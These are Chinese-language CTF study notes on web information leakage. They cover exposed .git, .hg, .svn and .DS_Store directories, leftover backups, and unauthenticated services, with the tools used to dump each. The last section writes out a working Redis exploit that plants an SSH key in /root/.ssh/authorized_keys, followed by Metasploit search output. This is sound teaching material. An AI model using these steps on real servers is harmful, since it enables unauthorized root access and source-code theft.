

# CTF 之信息泄漏

web 源码泄漏

## **.hg 源码泄漏:**

漏洞成因: hg init 的时候会生成 .hg, <http://www.xx.com/.hg/>,

工具: dvcs-ripper, (rip-hg.pl -v -u <http://www.xx.com/.hg/>)

## **.git 源码泄漏:**

漏洞成因: 在运行 git init 初始化代码库的时候, 会在当前目录下产生一个 .git 的隐藏文件, 用来记录代码的变更记录等, 没有删除这个文件, 导致泄漏, <http://www.xxx.com/.git/config>

工具: GitHack, dvcs-ripper, (GitHack.py <http://www.xxx.com/.git>, rip-hg.pl -v -u <http://www.xx.com/.git/>)

## **.DS\_Store 源码泄漏:**

漏洞成因: 在发布代码时, 没有删除文件夹中隐藏的 .DS\_store, 被发现后, 获取了敏感的文件名等信息, [http://www.xxx.com/.ds\\_store](http://www.xxx.com/.ds_store)

工具: dsstoreexp, (python ds\_store\_exp.py [http://www.xxx.com/.DS\\_Store](http://www.xxx.com/.DS_Store))

## **网站备份压缩文件:**

在网站的使用过程中, 往往需要对网站中的文件进行修改, 升级, 此时就需要对网站整或其中某一页面进行备份, 当备份文件或修改过程中的缓存文件因为各种原因被留在网站 web 目录下, 而该目录又没有设置访问权限, 就有可能导致备份文件被下载, 导致信息泄漏, 给服务器安全埋下隐患。

.rar, .zip, .7z, .tar.gz, .bak, .swp, .txt, .html,

工具：可以使用一些扫描软件，进行扫描，如 awvs 之类的

像 .swp 文件，就是 vim 源文件泄漏， /.index.php.swp 或/index.php~ 可以直接用 `vim -r inde.php` 来读取文件

## SVN 导致文件泄漏：

版本控制系统

工具：dvcS-ripper, Seay-Svn, (`rip-svn.pl -v -u http://www.xxx.com/.svn/`)

## 未授权访问漏洞：

未授权访问——应用层服务的问题，服务启动后，没配置任何凭证，导致可以直接进入

弱口令——配置的密码过于简单常见

空口令——没配置密码

目前主要存在未授权访问漏洞的如下：

NFS, Samba, LDAP, Rsync, FTP, Gitlab, Jenkins, MongoDB, Redis, ZooKeeper,

ElasticSearch, Memcache, CouchDB, Docker, Solr, Hadoop, Dubbo 等，这些都是挖矿勒索的高发地带

如：

redis 为授权访问漏洞，默认情况下会绑定在 0.0.0.0:6379，这样会将 redis 服务暴露到公网上，如果没有开启认证的情况下，可以导致任意用户可以访问目标服务器，可以利用相关方法，在 redis 服务器上写入公钥，进而可以使用对应私钥直接登陆目标服务器。

### 1. 本地生成公钥私钥

```
ssh-keygen -t rsa
```

2. 把公钥写入 xx.txt 文件

```
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > xx.txt
```

3. 连接 redis 写入文件

```
cat xx.txt | redis-cli -h 192.168.1.2 -x set crackit
```

```
redis-cli -h 192.168.1.2
```

```
192.168.1.2:6379> config set dir /root/.ssh/
```

```
192.168.1.2:6379> config get dir
```

```
1)"dir"
```

```
2)"/root/.ssh"
```

```
192.168.1.2:6379> config set dbfilename "authorized_keys"
```

```
192.168.1.2:6379> save
```

也可以使用 msf 里面成熟的 exp 来利用

```
msf5 > search redis

Matching Modules
=====

#  Name
-  -
1  auxiliary/gather/ibm_bigfix_sites_packages_enum 20
2  auxiliary/scanner/redis/file_upload 20
3  auxiliary/scanner/redis/redis_login 20
4  auxiliary/scanner/redis/redis_server 20
5  exploit/windows/browser/ie_createobject 20
n
6  exploit/windows/browser/ms07_017_anl_loadimage_chunksize 20
7  exploit/windows/browser/webex_ucf_newobject 20
8  exploit/windows/email/ms07_017_anl_loadimage_chunksize 20
```

